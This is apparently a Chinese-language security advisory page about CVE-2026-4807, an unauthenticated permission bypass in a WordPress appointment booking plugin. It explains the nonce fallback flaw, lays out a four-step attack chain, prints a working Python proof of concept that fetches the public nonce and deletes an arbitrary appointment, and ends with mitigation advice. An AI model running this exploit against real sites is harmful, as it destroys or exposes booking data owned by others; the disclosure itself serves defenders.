IPBUF安全漏洞报告
English
CVE-2026-4807 CVSS 6.5 中危

CVE-2026-4807 WordPress Appointment Booking Calendar权限绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-4807
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Appointment Booking Calendar Plugin

相关标签

权限绕过WordPressCVE-2026-4807预约插件未授权访问

漏洞概述

WordPress Appointment Booking Calendar插件在1.6.10.6及以下版本中存在权限绕过漏洞。该漏洞由nonce权限检查逻辑缺陷及站点范围public_nonce的公开暴露导致。未经身份验证的攻击者可利用此漏洞获取全站nonce,进而绕过验证机制,查看、删除或修改任意预约信息,导致敏感数据泄露和业务记录丢失。

技术细节

该漏洞的核心在于插件`nonce_permissions_check()`方法中的授权逻辑存在严重缺陷。插件通过`/wp-json/ssa/v1/embed-inner`接口向所有未认证访客暴露了一个全站通用的`public_nonce`值。在处理如`/wp-json/ssa/v1/appointments/{id}/delete`及`bulk`等敏感操作请求时,系统会同时检查`X-WP-Nonce`和`X-PUBLIC-Nonce`请求头。由于逻辑设计不当,当`X-WP-Nonce`验证失败时,系统并未直接拒绝请求,而是回退去验证`X-PUBLIC-Nonce`。攻击者只需先访问公开接口获取有效的`public_nonce`,然后在构造的删除或修改请求头中携带该值,即可在没有登录凭证的情况下通过权限校验,对系统内任意ID的预约执行删除或查看操作,造成严重的数据破坏。

攻击链分析

STEP 1
信息收集
攻击者访问目标WordPress站点的/wp-json/ssa/v1/embed-inner接口,获取公开的public_nonce值。
STEP 2
构造请求
攻击者构造针对/wp-json/ssa/v1/appointments/{id}/delete的HTTP POST请求,在请求头中设置随意的X-WP-Nonce和获取到的有效X-PUBLIC-Nonce。
STEP 3
权限绕过
服务器端接收请求,X-WP-Nonce校验失败后回退校验X-PUBLIC-Nonce,由于nonce有效,权限检查通过。
STEP 4
执行攻击
攻击者成功删除或查看了指定ID的预约数据,实现了未授权的数据操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://example.com" # Step 1: Fetch the public nonce from the exposed endpoint embed_endpoint = f"{target_url}/wp-json/ssa/v1/embed-inner" try: response = requests.get(embed_endpoint) data = response.json() public_nonce = data.get('public_nonce') if public_nonce: # Step 2: Use the nonce to delete an arbitrary appointment # Replace TARGET_ID with the actual ID of the appointment to delete appointment_id = "TARGET_ID" delete_endpoint = f"{target_url}/wp-json/ssa/v1/appointments/{appointment_id}/delete" headers = { # X-WP-Nonce can be arbitrary, as it will fail and trigger fallback "X-WP-Nonce": "arbitrary_invalid_nonce", # X-PUBLIC-Nonce contains the valid nonce obtained in Step 1 "X-PUBLIC-Nonce": public_nonce } # Sending the delete request delete_response = requests.post(delete_endpoint, headers=headers) print(f"Delete Status Code: {delete_response.status_code}") print(f"Response Body: {delete_response.text}") else: print("Failed to retrieve public_nonce.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Appointment Booking Calendar <= 1.6.10.6

防御指南

临时缓解措施
建议立即将插件升级至最新版本以修复漏洞。如果暂时无法升级,应配置Web应用防火墙(WAF)规则,拦截包含X-PUBLIC-Nonce头且指向/wp-json/ssa/v1/appointments/路径的未认证请求,或者暂时禁用该插件以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表